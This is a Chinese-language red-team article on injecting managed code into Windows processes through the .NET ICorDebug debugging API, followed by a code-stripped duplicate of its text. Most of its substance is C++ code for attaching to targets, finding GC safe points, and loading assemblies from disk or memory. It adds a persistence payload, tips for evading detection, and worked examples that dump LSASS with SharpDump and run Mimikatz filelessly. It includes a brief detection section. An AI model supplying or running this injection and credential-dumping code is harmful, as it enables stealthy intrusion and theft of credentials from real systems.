深入挖掘.NET注入
字数 1516 2025-08-18 17:33:25

深入挖掘.NET注入技术:利用ICorDebug实现托管代码注入

前言

.NET注入技术长期以来一直用于后渗透开发,与大多数C2框架捆绑在一起。传统方法通常涉及将shellcode或DLL注入非托管空间,然后加载CLR来执行.NET代码。本文介绍一种创新的方法,通过直接利用.NET调试接口ICorDebug在目标进程中执行任意.NET方法,无需传统的注入技术。

ICorDebug简介

ICorDebug是.NET框架提供的调试API,允许开发者以编程方式控制和检查.NET进程的执行。与Visual Studio的调试功能类似,ICorDebug提供了丰富的接口来:

  • 附加到运行中的.NET进程
  • 控制执行流程(暂停、继续、单步执行)
  • 检查和修改程序状态
  • 在目标进程中评估表达式和方法

创建调试器环境

1. 初始化ICorDebug接口

首先需要确定并初始化目标.NET运行时版本:

ICLRMetaHost* metaHost;
ICLRRuntimeInfo* runtimeInfo;
HRESULT hr;

// 创建CLR元主机实例
if ((hr = CLRCreateInstance(CLSID_CLRMetaHost, IID_ICLRMetaHost, (LPVOID*)&metaHost)) != S_OK) {
    return hr;
}

// 枚举已安装的运行时
IEnumUnknown* runtime;
if ((hr = metaHost->EnumerateInstalledRuntimes(&runtime)) != S_OK) {
    return hr;
}

// 获取运行时信息并选择合适版本
while (runtime->Next(1, &enumRuntime, 0) == S_OK) {
    if (enumRuntime->QueryInterface<ICLRRuntimeInfo>(&runtimeInfo) == S_OK) {
        runtimeInfo->GetVersionString(frameworkName, &bytes);
        wprintf(L"[*] Supported Framework: %s\n", frameworkName);
    }
}

2. 创建调试器实例

ICorDebug* debug;
ICorDebugProcess* process;

// 获取ICorDebug接口
if ((hr = runtimeInfo->GetInterface(CLSID_CLRDebuggingLegacy, IID_ICorDebug, (LPVOID*)&debug)) != S_OK) {
    return hr;
}

// 初始化调试器
debug->Initialize();

// 附加到目标进程
debug->DebugActiveProcess(targetPid, false, &process);

调试器事件处理

调试器通过回调接口与目标进程交互。我们需要实现ICorDebugManagedCallback来处理各种调试事件:

class ManagedCallback : public ICorDebugManagedCallback, public ICorDebugManagedCallback2 {
public:
    // 处理断点事件
    HRESULT Breakpoint(ICorDebugAppDomain* pAppDomain, ICorDebugThread* pThread, ICorDebugBreakpoint* pBreakpoint);
    
    // 处理步进完成事件
    HRESULT StepComplete(ICorDebugAppDomain* pAppDomain, ICorDebugThread* pThread, ICorDebugStepper* pStepper, CorDebugStepReason reason);
    
    // 处理评估完成事件
    HRESULT EvalComplete(ICorDebugAppDomain* pAppDomain, ICorDebugThread* pThread, ICorDebugEval* pEval);
    
    // 处理线程创建事件
    HRESULT CreateThread(ICorDebugAppDomain* pAppDomain, ICorDebugThread* thread);
    
    // 其他必要的事件处理方法...
};

// 设置回调处理器
ManagedCallback* handler = new ManagedCallback();
debug->SetManagedHandler(handler);

关键注入技术

1. 寻找GC安全点

要在目标进程中执行代码,必须找到GC安全点(GC safe point)。这是JIT编译器插入的特殊位置,允许安全地执行垃圾回收和代码评估。

HRESULT ManagedCallback::StepComplete(ICorDebugAppDomain* pAppDomain, ICorDebugThread* pThread, ICorDebugStepper* pStepper, CorDebugStepReason reason) {
    ICorDebugEval* eval;
    bool stepAgain = false;
    
    // 创建评估实例
    if (pThread->CreateEval(&eval) != S_OK) {
        stepAgain = true;
    }
    
    // 尝试创建字符串对象测试是否处于安全点
    if (eval->NewString(L"Test") != S_OK) {
        stepAgain = true;
    }
    
    // 根据结果决定是否继续步进
    if (stepAgain) {
        pStepper->Step(0);
    } else {
        pStepper->Deactivate();
        // 可以在此处执行目标代码
    }
    
    pAppDomain->Continue(false);
    return S_OK;
}

2. 加载.NET程序集

一旦找到安全点,可以加载并执行.NET程序集:

// 1. 查找Assembly.LoadFile方法
ICorDebugFunction* function;
if (FindMethod(&function, pAppDomain, L"mscorlib.dll", 
              L"System.Reflection.Assembly", L"LoadFile") != S_OK) {
    return E_FAIL;
}

// 2. 创建路径字符串参数
ICorDebugValue* pathValue;
eval->NewString(L"C:\\payload.dll", &pathValue);

// 3. 调用LoadFile方法
eval->CallFunction(function, 1, &pathValue);

3. 内存加载程序集

为避免磁盘I/O,可以从内存加载Base64编码的程序集:

// 1. 创建Base64字符串
eval->NewString(BASE64_ENCODED_ASSEMBLY, &base64Value);

// 2. 调用Convert.FromBase64String
ICorDebugFunction* fromBase64;
FindMethod(&fromBase64, pAppDomain, L"mscorlib.dll", 
          L"System.Convert", L"FromBase64String");
eval->CallFunction(fromBase64, 1, &base64Value);

// 3. 在EvalComplete回调中获取字节数组结果
ICorDebugValue* byteArray;
pEval->GetResult(&byteArray);

// 4. 调用Assembly.Load(byte[])
ICorDebugFunction* loadMethod;
FindMethod(&loadMethod, pAppDomain, L"mscorlib.dll", 
          L"System.Reflection.Assembly", L"Load");
eval->CallFunction(loadMethod, 1, &byteArray);

目标进程选择策略

1. 标准注入目标

选择活跃的.NET进程,如mmc.exe(事件查看器):

STARTUPINFOW si;
PROCESS_INFORMATION pi;
memset(&si, 0, sizeof(STARTUPINFOA));
si.cb = sizeof(STARTUPINFOA);
CreateProcessW(
    L"C:\\Windows\\System32\\eventvwr.exe",
    NULL, NULL, NULL, false, 
    CREATE_NEW_CONSOLE, NULL, NULL, &si, &pi);

2. 定制注入目标

利用AddInProcess.exe等.NET进程的特定行为:

  • 通过命名管道触发代码执行
  • 利用进程监视功能保持持久性

3. 进程创建注入

直接创建新进程并附加调试器:

debug->CreateProcessW(
    L"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\AddInUtil.exe",
    NULL, NULL, NULL, false, 
    CREATE_NEW_CONSOLE, NULL, NULL,
    &si, &pi, (CorDebugCreateProcessFlags)0, &process);

持久化技术

确保注入代码在目标进程退出后继续运行:

// 示例.NET payload
namespace Injected {
    class Injected {
        public static void ThreadEntry() {
            while(true) {
                // 恶意代码
                Thread.Sleep(1000);
            }
        }
        
        public static void Entry() {
            // 创建前台线程阻止进程退出
            var thread = new System.Threading.Thread(new ThreadStart(ThreadEntry));
            thread.Start(); 
        }
    }
}

检测与规避

检测点

  1. 调试器附加痕迹

    • DebugActiveProcess API调用
    • ntdll!DbgUiRemoteBreakin线程入口点
    • Sysmon事件ID 8(CreateRemoteThread)
  2. 进程修改

    • WriteProcessMemory调用
    • 异常的内存区域
  3. 调试器存在

    • CheckRemoteDebuggerPresent可检测活动调试会话
    • 进程属性中的调试标志

规避技术

  1. 使用COMPlus环境变量优化JIT行为:

    • COMPlus_JITMinOpts=1 - 禁用最小优化
    • COMPlus_ZapDisable=1 - 禁用原生映像生成
  2. 快速分离调试器:

    // 停止所有步进器
    // 完成所有评估
    debug->Detach();
    
  3. 选择低检测率的进程注入点

参考资源

  1. Windows Exploitation Tricks: Abusing the Debug Object
  2. Windows Debugging Framework Documentation
  3. GC Pauses and Safe Points
  4. NetCoreDbg - .NET Core Debugger

实际应用示例

1. 执行SharpDump转储LSASS内存

// 加载SharpDump程序集
eval->NewString(L"c:\\tools\\SharpDump.exe", &pathValue);
FindMethod(&loadFile, pAppDomain, L"mscorlib.dll", 
          L"System.Reflection.Assembly", L"LoadFile");
eval->CallFunction(loadFile, 1, &pathValue);

// 调用入口方法
FindMethod(&entry, pAppDomain, L"SharpDump.exe", 
          L"SharpDump.Program", L"Main");
eval->CallFunction(entry, 0, NULL);

2. 无文件注入Mimikatz

// 从内存加载Base64编码的Mimikatz
eval->NewString(MIMIKATZ_BASE64, &base64Value);
FindMethod(&fromBase64, pAppDomain, L"mscorlib.dll", 
          L"System.Convert", L"FromBase64String");
eval->CallFunction(fromBase64, 1, &base64Value);

// 调用Assembly.Load
FindMethod(&load, pAppDomain, L"mscorlib.dll", 
          L"System.Reflection.Assembly", L"Load");
eval->CallFunction(load, 1, &byteArray);

// 执行Mimikatz
FindMethod(&entry, pAppDomain, L"mimikatz.exe", 
          L"Program", L"Main");
eval->CallFunction(entry, 0, NULL);

总结

通过ICorDebug接口实现.NET注入提供了多种优势:

  1. 完全在托管环境中操作,避免传统注入技术的检测
  2. 无需加载非托管代码或shellcode
  3. 可直接调用任意.NET方法,灵活性高
  4. 支持多种注入场景(现有进程、新进程、特定行为触发)

这种技术特别适合红队操作,能够有效规避许多基于传统注入技术的检测机制。理解这些原理也有助于蓝队开发更有效的检测方法。

深入挖掘.NET注入技术:利用ICorDebug实现托管代码注入 前言 .NET注入技术长期以来一直用于后渗透开发,与大多数C2框架捆绑在一起。传统方法通常涉及将shellcode或DLL注入非托管空间,然后加载CLR来执行.NET代码。本文介绍一种创新的方法,通过直接利用.NET调试接口ICorDebug在目标进程中执行任意.NET方法,无需传统的注入技术。 ICorDebug简介 ICorDebug是.NET框架提供的调试API,允许开发者以编程方式控制和检查.NET进程的执行。与Visual Studio的调试功能类似,ICorDebug提供了丰富的接口来: 附加到运行中的.NET进程 控制执行流程(暂停、继续、单步执行) 检查和修改程序状态 在目标进程中评估表达式和方法 创建调试器环境 1. 初始化ICorDebug接口 首先需要确定并初始化目标.NET运行时版本: 2. 创建调试器实例 调试器事件处理 调试器通过回调接口与目标进程交互。我们需要实现 ICorDebugManagedCallback 来处理各种调试事件: 关键注入技术 1. 寻找GC安全点 要在目标进程中执行代码,必须找到GC安全点(GC safe point)。这是JIT编译器插入的特殊位置,允许安全地执行垃圾回收和代码评估。 2. 加载.NET程序集 一旦找到安全点,可以加载并执行.NET程序集: 3. 内存加载程序集 为避免磁盘I/O,可以从内存加载Base64编码的程序集: 目标进程选择策略 1. 标准注入目标 选择活跃的.NET进程,如 mmc.exe (事件查看器): 2. 定制注入目标 利用 AddInProcess.exe 等.NET进程的特定行为: 通过命名管道触发代码执行 利用进程监视功能保持持久性 3. 进程创建注入 直接创建新进程并附加调试器: 持久化技术 确保注入代码在目标进程退出后继续运行: 检测与规避 检测点 调试器附加痕迹 : DebugActiveProcess API调用 ntdll!DbgUiRemoteBreakin 线程入口点 Sysmon事件ID 8(CreateRemoteThread) 进程修改 : WriteProcessMemory 调用 异常的内存区域 调试器存在 : CheckRemoteDebuggerPresent 可检测活动调试会话 进程属性中的调试标志 规避技术 使用 COMPlus 环境变量优化JIT行为: COMPlus_JITMinOpts=1 - 禁用最小优化 COMPlus_ZapDisable=1 - 禁用原生映像生成 快速分离调试器: 选择低检测率的进程注入点 参考资源 Windows Exploitation Tricks: Abusing the Debug Object Windows Debugging Framework Documentation GC Pauses and Safe Points NetCoreDbg - .NET Core Debugger 实际应用示例 1. 执行SharpDump转储LSASS内存 2. 无文件注入Mimikatz 总结 通过ICorDebug接口实现.NET注入提供了多种优势: 完全在托管环境中操作,避免传统注入技术的检测 无需加载非托管代码或shellcode 可直接调用任意.NET方法,灵活性高 支持多种注入场景(现有进程、新进程、特定行为触发) 这种技术特别适合红队操作,能够有效规避许多基于传统注入技术的检测机制。理解这些原理也有助于蓝队开发更有效的检测方法。